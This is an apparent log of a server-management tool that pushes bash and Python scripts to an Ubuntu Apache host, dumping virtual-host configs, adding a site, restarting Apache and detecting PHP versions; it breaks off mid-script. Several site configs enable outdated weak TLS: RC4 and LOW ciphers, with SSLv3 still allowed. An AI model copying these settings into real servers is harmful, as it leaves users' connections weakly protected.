DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf	1286
<VirtualHost *:80>
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_www_net.conf	1240

<VirtualHost *:80>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.net
    ServerAlias	www.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_earth_us.conf	1555
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/persianchurch_www_info.conf)= 7ef18dca1a3b1f13569fae453f78778d
MD5(/etc/ssl/certs/66fe979384f486c79f8519a848115361.crt)= 9947455267068d3a766bf2e9937f5ac5
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 544e2c1cb0d71870be367c3f4d4617ce
MD5(/etc/apache2/sites-available/carelinks_www_net.conf)= 5e6e0944b6dafbcaf0394b615f310845
MD5(/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt)= 808a7430865d1f5e2fce8404c1055900
MD5(/etc/apache2/sites-available/carelinks_www_org.conf)= c42d1b5eb716282cc771f6ab6b7893df
MD5(/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt)= 6fc116ed582e67cb36028b12058e8acf
MD5(/etc/apache2/sites-available/pjy_earth_us.conf)= 81bd1c382d9aa5e6bcdb01758757c0fb
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 73d67d8e0975cf47a89c7cfcef960cb2
link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2/sites-available/persianchurch_www_info.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/carelinks_www_net.conf)= /etc/apache2/sites-available/carelinks_www_net.conf
link(/etc/apache2/sites-enabled/carelinks_www_org.conf)= /etc/apache2/sites-available/carelinks_www_org.conf
link(/etc/apache2/sites-enabled/pjy_earth_us.conf)= /etc/apache2/sites-available/pjy_earth_us.conf




STDERR:
/tmp/pkp330564:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-29 14:08:04: Establishing a connection
2025-12-29 14:08:58: Establishing a connection
2025-12-29 14:08:58: 

PUT: /tmp/pkp531983

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/carelinks_new_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-29 14:08:58: 

chmod 755 /tmp/pkp531983; /tmp/pkp531983; rm /tmp/pkp531983

2025-12-29 14:08:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/carelinks_new_net.conf 0



2025-12-29 14:08:58: 

PUT: /tmp/pkp739130

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_new_net.conf
TARGET=sites-available/carelinks_new_net.conf
DOCROOT=/var/www/carelinks_new
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/carelinks
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf'
	echo 'file(/etc/apache2/sites-available/carelinks_new_net.conf= 1'
fi


2025-12-29 14:08:58: 

chmod 755 /tmp/pkp739130; /tmp/pkp739130; rm /tmp/pkp739130

2025-12-29 14:08:58: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
file(/etc/apache2/sites-available/carelinks_new_net.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2025-12-29 14:08:58: 

PUT: /tmp/pkp232564

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-29 14:08:58: 

chmod 755 /tmp/pkp232564; /tmp/pkp232564; rm /tmp/pkp232564

2025-12-29 14:08:58: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-29 14:08:58: Performing Server Status
2025-12-29 14:08:58: 

PUT: /tmp/pkp421196

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-29 14:08:58: 

chmod 755 /tmp/pkp421196; /tmp/pkp421196; rm /tmp/pkp421196

2025-12-29 14:08:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-29 14:08:58: 

PUT: /tmp/pkp760033

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-29 14:08:58: 

chmod 755 /tmp/pkp760033; /tmp/pkp760033; rm /tmp/pkp760033

2025-12-29 14:08:58: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 16142
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       16142  0.0  0.9 301832 36740 ?        Ss   Dec23   0:49 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-29 14:08:58: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2025-12-29 14:08:58: 

PUT: /tmp/pkp742984

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-29 14:08:58: 

chmod 755 /tmp/pkp742984; /tmp/pkp742984; rm /tmp/pkp742984

2025-12-29 14:08:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)



2025-12-29 14:08:59: 

PUT: /tmp/pkp844891

#!/bin/bash
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-29 14:08:59: 

chmod 755 /tmp/pkp844891; /tmp/pkp844891; rm /tmp/pkp844891

2025-12-29 14:08:59: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7


2025-12-29 14:08:59: 

PUT: /tmp/pkp182565

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
